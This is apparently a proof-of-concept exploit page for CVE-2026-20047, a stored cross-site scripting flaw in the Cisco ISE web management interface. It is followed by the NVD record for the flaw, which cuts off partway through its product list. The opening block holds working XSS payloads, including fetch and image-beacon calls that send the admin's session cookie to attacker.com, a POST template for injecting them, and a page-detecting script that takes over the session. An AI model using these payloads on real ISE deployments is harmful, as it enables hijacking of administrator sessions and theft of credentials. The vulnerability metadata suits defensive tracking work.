CVE-2026-20047

<!-- CVE-2026-20047 PoC: Stored XSS in Cisco ISE Management Interface --> <!-- Requires valid admin credentials --> <!-- XSS Payload --> <script>alert(document.cookie)</script> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Example POST request to inject XSS (requires admin auth) --> <!-- POST /admin/webui/action/xxx HTTP/1.1 --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- Cookie: JSESSIONID=xxx --> <!-- --> <!-- param1=value1&param2=<script>alert(document.cookie)</script>&submit=Save --> <!-- JavaScript PoC to detect and exploit --> <script> (function(){ // Detect if on Cisco ISE management page if(document.body.innerHTML.includes('Cisco ISE')) { // Extract session info var session = document.cookie; // Send to attacker controlled server new Image().src = 'https://attacker.com/log?c=' + encodeURIComponent(session); // Or perform actions as admin // fetch('/admin/api/...', {credentials: 'include'}); } })(); </script>

{"cve": {"id": "CVE-2026-20047", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:07.160", "lastModified": "2026-01-30T19:58:27.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the interface.\r\n\r\nThis vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit this vulnerability, the attacker must have valid administrative credentials."}, {"lang": "es", "value": "Una vulnerabilidad en la interfaz de gestión basada en web de Cisco Identity Services Engine (ISE) y Cisco ISE Passive Identity Connector (ISE-PIC) podría permitir a un atacante remoto autenticado realizar ataques de cross-site scripting (XSS) contra un usuario de la interfaz.\n\nEsta vulnerabilidad se debe a una validación insuficiente de la entrada proporcionada por el usuario por parte de la interfaz de gestión basada en web de un sistema afectado. Un atacante podría explotar esta vulnerabilidad inyectando código malicioso en páginas específicas de la interfaz. Un exploit exitoso podría permitir al atacante ejecutar código de script arbitrario en el contexto de la interfaz afectada o acceder a información sensible basada en el navegador. Para explotar esta vulnerabilidad, el atacante debe tener credenciales administrativas válidas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2", "matchCriteriaId": "8CCF107C-A742-4362-B5B6-BF8D26D85353"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "7932D5D5-83E1-4BEF-845A-D0783D4BB750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "1B818846-4A6E-4256-B344-281E8C786C43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "A44858A2-922A-425A-8B38-0C47DB911A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch3:*:*:*:*:*:*", "matchCriteriaId": "53484A32-757B-42F8-B655-554C34222060"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch4:*:*:*:*:*:*", "matchCriteriaId": "0CCAC61F-C273-49B3-A631-31D3AE3EB148"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch5:*:*:*:*:*:*", "matchCriteriaId": "51AEFCE6-FB4A-4B1C-A23D-83CC3CF3FBBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch6:*:*:*:*:*:*", "matchCriteriaId": "B452B4F0-8510-475E-9AE8-B48FABB4D7D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch7:*:*:*:*:*:*", "matchCriteriaId": "5733512D-12B5-4098-AF90-9D68217FAC27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6EC9EDE-3038-450B-9209-4315236F8DC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "F1B9C2C1-59A4-49A0-9B74-83CCB063E55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "DFD29A0B-0D75-4EAB-BCE0-79450EC75DD0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "E6C94CC4-CC08-4DAF-A606-FDAFC92720A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*", "matchCriteriaId": "BB069EA3-7B8C-42B5-8035-2EE5ED3F56E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*", "matchCriteriaId": "FF8B81A6-BF44-4E ... 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